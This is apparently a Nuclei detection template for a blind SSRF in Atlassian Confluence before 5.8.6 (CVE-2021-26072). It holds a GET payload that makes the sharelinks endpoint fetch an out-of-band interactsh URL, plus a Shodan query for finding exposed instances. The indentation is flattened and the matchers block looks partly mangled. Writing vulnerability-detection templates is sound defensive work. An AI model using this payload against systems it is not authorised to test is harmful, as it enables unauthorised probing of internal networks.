id: confluence-ssrf-sharelinks
info:
name: Atlassian Confluence < 5.8.6 Server-Side Request Forgery
author: TechbrunchFR
severity: medium
description: Atlassian Confluence < 5.8.6 is affected by a blind server-side request forgery vulnerability in the widgetconnector plugin.
reference:
- https://bitbucket.org/atlassian/confluence-business-blueprints/pull-requests/144/issue-60-conf-45342-ssrf-in-sharelinks
- https://github.com/assetnote/blind-ssrf-chains#confluence
- https://nvd.nist.gov/vuln/detail/CVE-2021-26072
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 6.8
cwe-id: CWE-918
remediation: Upgrade to Atlassian Confluence version 5.8.6 or later.
metadata:
shodan-query: http.component:"Atlassian Confluence"
tags: confluence,atlassian,ssrf,oast
requests:
- method: GET
path:
- '{{BaseURL}}/rest/sharelinks/1.0/link?url=https://{{interactsh-url}}/'
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
part: body
- "faviconURL"
- "domain"
condition: and
- type: status
status:
- 200
# Enhanced by mp on 2022/04/14